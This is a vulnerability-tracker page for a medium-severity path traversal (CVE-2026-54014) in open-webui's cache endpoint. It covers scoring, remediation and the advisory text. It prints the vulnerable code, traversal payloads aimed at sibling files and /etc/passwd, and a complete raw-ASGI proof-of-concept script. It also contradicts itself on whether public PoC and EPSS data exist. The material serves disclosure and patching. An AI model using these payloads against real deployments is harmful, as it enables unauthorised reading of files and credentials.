Skip to main content

open-webui CVE-2026-54014

| EUVDEUVD-2026-38528 MEDIUM
Path Traversal (CWE-22)
2026-06-17 https://github.com/open-webui/open-webui GHSA-j2c8-v969-8r5c
4.3
CVSS 3.1 · Vendor: https://github.com/open-webui/open-webui
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Authenticate as any open-webui user
  2. Delivery
    Craft raw HTTP GET with traversal path (e.g., /cache/../cache_backup/secret.txt)
  3. Exploit
    Deliver via raw socket bypassing client normalization
  4. Execution
    os.path.abspath resolves sibling path
  5. Persist
    startswith prefix check incorrectly passes
  6. Impact
    FileResponse returns sibling file contents

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V5 - File Handling Path canonicalization, traversal prevention
MITRE ATT&CK

2 techniques across 2 tactics: Discovery, Collection

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Authentication is required: the get_verified_user dependency must be satisfied with a valid open-webui session carrying role 'user' or 'admin' - unauthenticated access is not possible. The deployment must have at least one directory adjacent to CACHE_DIR (i.e., a sibling at the parent level) whose directory name begins with the string 'cache' (e.g., cache_backup, cache_sibling, cached_models); without such a sibling directory, no exploitable path exists. The traversal payload must bypass client-side .. normalization, requiring delivery via raw HTTP socket or direct ASGI call - standard browsers and the httpx library both normalize the path before transmission and thus cannot be used to deliver the payload. Deep traversal (../../etc/passwd) and absolute paths (/etc/passwd) are both correctly rejected by the existing check and cannot be exploited. Exploitation scope is strictly limited to one directory level into cache-prefix-named siblings.

Impact

The CVSS 3.1 score of 4.3 (Medium, AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N) accurately models the constrained real-world impact: the attack is network-reachable and requires only low-privilege credentials, but the confidentiality impact is limited to files within cache-prefixed sibling directories - not arbitrary filesystem read. Deep traversal and absolute paths are correctly blocked by the existing check, narrowing the exploitable surface significantly. EPSS data is not included in the available intelligence, so exploitation probability cannot be quantified numerically. No KEV listing exists, indicating no confirmed active exploitation at time of analysis. However, publicly available exploit code exists within the GHSA advisory, lowering the barrier for abuse. Real-world risk is deployment-dependent: environments where no sibling directories with a cache-string prefix exist adjacent to CACHE_DIR are not exploitable in practice. Conversely, deployments that co-locate model files (cached_models), backup data (cache_backup), or configuration artifacts in such directories face material confidentiality risk from any low-privileged user.

Exploit ScenarioDerived

An attacker with a low-privileged open-webui account sends a raw HTTP GET request to /cache/../cache_backup/db_credentials.json - bypassing browser normalization by using a raw TCP or ASGI client. Python's os.path.abspath() resolves the path to /data/cache_backup/db_credentials.json, which passes the flawed startswith('/data/cache') check because the sibling directory name shares the prefix. The application returns the file contents via FileResponse without further validation. A working proof-of-concept (poc.py) is publicly available in the GHSA advisory and was confirmed against open-webui 0.9.5.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 18, 2026

Sibling-prefix path traversal in open-webui 0.9.5 and earlier allows any authenticated user to read arbitrary files from directories adjacent to the configured cache directory, provided those directories share the string prefix 'cache' (e.g., cache_backup, cached_models). The flaw exists in serve_cache_file() at main.py:2914, where a missing trailing path separator in the startswith boundary check causes os.path.abspath() to validate resolved sibling paths as if they were within the cache root. Publicly available exploit code exists in the GHSA advisory (PoC confirmed against open-webui 0.9.5 via raw ASGI delivery); no confirmed active exploitation (not in CISA KEV) at time of analysis.

RemediationAI

Upgrade open-webui to version 0.9.6 (vendor-released patch: 0.9.6), which corrects the boundary check in serve_cache_file() at main.py:2914 by appending os.sep to the startswith prefix - changing file_path.startswith(os.path.abspath(CACHE_DIR)) to file_path.startswith(os.path.abspath(CACHE_DIR) + os.sep). See the advisory at https://github.com/open-webui/open-webui/security/advisories/GHSA-j2c8-v969-8r5c. If immediate upgrading is not feasible, eliminate any directories adjacent to CACHE_DIR whose names begin with the string 'cache' (e.g., cache_backup, cached_models) - this removes the exploitable prefix overlap entirely but may require operational changes to data layout. As an additional layer, configure a reverse proxy (nginx, Caddy) to reject GET /cache/ requests containing encoded or literal .. sequences before they reach the application; note this control can be bypassed if the proxy normalizes paths before matching, so it should not be treated as a standalone fix. No side effects are expected from the one-character patch (appending os.sep).

Affected VersionsENISA

open-webui < 0.9.6

Affected Packages

pypi open-webui fix: 0.9.6

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability resides in the FastAPI-based serve_cache_file() function handling GET /cache/{path:path} in open_webui/main.py (lines 2907-2924), affecting the pip package pkg:pip/open-webui up to version 0.9.5. Python's os.path.abspath() canonicalizes traversal sequences in the user-supplied path before boundary validation - correctly stripping deep traversal - but the subsequent guard uses Python string prefix matching (str.startswith) rather than true path-component comparison. Because CACHE_DIR resolves to a string like /data/cache, any sibling directory whose name starts with 'cache' (e.g., /data/cache_backup) will produce a resolved path string that also starts with /data/cache, satisfying the guard incorrectly. The correct fix is to append os.sep to the prefix, ensuring that /data/cache/ (with trailing slash) is matched rather than the bare /data/cache string. CWE-22 (Path Traversal) is the root cause class; specifically the 'incomplete denylist via prefix match without separator' variant. Standard HTTP clients and the httpx library normalize .. sequences client-side, so exploitation requires delivery via raw HTTP or ASGI to preserve the traversal component.

Know when Python gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/open-webui/open-webui) PRIMARY 4.3 MEDIUM
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
vuln.today AI 4.3 MEDIUM

Network-accessible HTTP endpoint (AV:N), low-privilege auth required (PR:L), confidentiality limited to cache-prefixed sibling directories (C:L), no write or availability impact.

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/open-webui/open-webui).

CVSS VectorVendor: https://github.com/open-webui/open-webui

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
None
Availability
None

DescriptionCVE.org

Summary

A path traversal vulnerability exists in open-webui's cache file serving endpoint that allows any authenticated user to read files from sibling directories outside the intended cache directory, by exploiting an incomplete startswith containment check that lacks a trailing path separator.

The root cause is that serve_cache_file() in open_webui/main.py validates the resolved path with file_path.startswith(os.path.abspath(CACHE_DIR)) - without appending os.sep. This allows any path resolving to a sibling directory whose name begins with cache (e.g. cache_sibling, cache_backup, cached_models) to pass validation.

Deep traversal and absolute paths are correctly blocked. The bypass is narrow but confirmed - limited to sibling-prefix directories.

Exploitation constraints

ConstraintDetail
Auth requiredget_verified_user - any user with role user or admin
ScopeOnly sibling directories starting with cache (e.g. cache_backup, cached_models)
Deep traversalBlocked - ../../etc/passwd correctly fails the startswith check
Absolute pathsBlocked - /etc/passwd correctly fails
Client normalizationhttpx/browsers normalize .. client-side - must use raw HTTP or ASGI to deliver payload

Vulnerability Details

Vulnerable function: serve_cache_file()

python
# open_webui/main.py, line 2907-2924
@app.get('/cache/{path:path}')
async def serve_cache_file(path: str, user=Depends(get_verified_user)):
    file_path = os.path.abspath(os.path.join(CACHE_DIR, path))
# prevent path traversal
    if not file_path.startswith(os.path.abspath(CACHE_DIR)):
# ← BUG: no trailing os.sep
        raise HTTPException(status_code=404, detail='File not found')
    if not os.path.isfile(file_path):
        raise HTTPException(status_code=404, detail='File not found')
    return FileResponse(file_path, headers=headers)

The bypass

python
CACHE_DIR = "/data/cache"
# Attacker path: "../cache_sibling/secret.txt"
file_path = os.path.abspath(os.path.join("/data/cache", "../cache_sibling/secret.txt"))
# → "/data/cache_sibling/secret.txt"

"/data/cache_sibling/secret.txt".startswith("/data/cache")
# → True  ← BYPASS (because "cache_sibling" starts with "cache")
# Correct check would be:
"/data/cache_sibling/secret.txt".startswith("/data/cache/")
# → False  ← BLOCKED

Proof of Concept

Environment

ComponentDetail
open-webui0.9.5 (pip installed)
Python3.11
Importfrom open_webui.main import app (true import, real FastAPI app)
MethodRaw ASGI request (bypasses httpx client-side .. normalization)

poc.py

python

import asyncio
import os
import shutil
import sys
import tempfile
TEMP_DATA = tempfile.mkdtemp(prefix="owui_poc_")
os.environ["DATA_DIR"] = TEMP_DATA
os.environ["WEBUI_SECRET_KEY"] = "poc_secret_key_12345"
os.environ["WEBUI_AUTH"] = "false"
CACHE_DIR = os.path.join(TEMP_DATA, "cache")
SIBLING_DIR = os.path.join(TEMP_DATA, "cache_sibling")
os.makedirs(CACHE_DIR, exist_ok=True)
os.makedirs(SIBLING_DIR, exist_ok=True)

SECRET_CONTENT = "STOLEN_FROM_SIBLING_DIR"
with open(os.path.join(SIBLING_DIR, "secret.txt"), "w") as f:
    f.write(SECRET_CONTENT)
with open(os.path.join(CACHE_DIR, "legit.txt"), "w") as f:
    f.write("legitimate_cache_file")
from open_webui.main import app
from open_webui.utils.auth import get_verified_user
class FakeUser:
    id = "poc"
    email = "poc@test"
    role = "user"

app.dependency_overrides[get_verified_user] = lambda: FakeUser()
async def raw_asgi_get(app, path):
    """Send a raw ASGI request without client-side path normalization."""
    scope = {
        "type": "http",
        "method": "GET",
        "path": path,
        "query_string": b"",
        "headers": [(b"host", b"localhost")],
        "root_path": "",
        "asgi": {"version": "3.0"},
    }
    response_started = False
    status_code = None
    body_parts = []

    async def receive():
        return {"type": "http.request", "body": b""}

    async def send(message):
        nonlocal response_started, status_code
        if message["type"] == "http.response.start":
            response_started = True
            status_code = message["status"]
        elif message["type"] == "http.response.body":
            body_parts.append(message.get("body", b""))

    await app(scope, receive, send)
    return status_code, b"".join(body_parts)


async def main():
    s1, b1 = await raw_asgi_get(app, "/cache/legit.txt")
    s2, b2 = await raw_asgi_get(app, "/cache/../cache_sibling/secret.txt")
    s3, b3 = await raw_asgi_get(app, "/cache/../../etc/passwd")

    baseline_ok = s1 == 200 and b"legitimate_cache_file" in b1
    exploit_ok = s2 == 200 and SECRET_CONTENT.encode() in b2
    deep_blocked = s3 == 404

    print(f"package:     open_webui (pip installed)")
    print(f"version:     0.9.5")
    print(f"function:    serve_cache_file (GET /cache/{{path}})")
    print(f"sink:        main.py:2914  file_path.startswith(os.path.abspath(CACHE_DIR))")
    print(f"bypass:      startswith without trailing os.sep allows sibling-prefix match")
    print()
    print(f"CACHE_DIR:   {CACHE_DIR}")
    print(f"SIBLING:     {SIBLING_DIR}")
    print()
    print(f"[baseline] /cache/legit.txt            status={s1} body={b1[:40]!r}")
    print(f"[exploit]  /cache/../cache_sibling/secret.txt  status={s2} body={b2[:40]!r}")
    print(f"[control]  /cache/../../etc/passwd     status={s3} (should be 404)")
    print()
    print(f"result:      {'VULNERABLE' if exploit_ok and baseline_ok and deep_blocked else 'NOT CONFIRMED'}")

    shutil.rmtree(TEMP_DATA, ignore_errors=True)
    sys.exit(0 if exploit_ok else 1)


if __name__ == "__main__":
    asyncio.run(main())

PoC output

<img width="1392" height="288" alt="image" src="https://github.com/user-attachments/assets/2fbef163-9ef5-4ed5-aa53-a49bd9bf4713" />

Suggested Fix

python
if not file_path.startswith(os.path.abspath(CACHE_DIR) + os.sep):
    raise HTTPException(status_code=404, detail='File not found')

Single character fix: append os.sep to the prefix in the startswith check.

Threat Intelligence Overview

EPSS Score
0.2%
Top 86% exploitable
Threat Intel
1
1 source
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact· derived
Medium

Priority Score

22
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +22
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Path traversal exploits occur when applications use user-controlled input to construct file system paths without proper validation.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy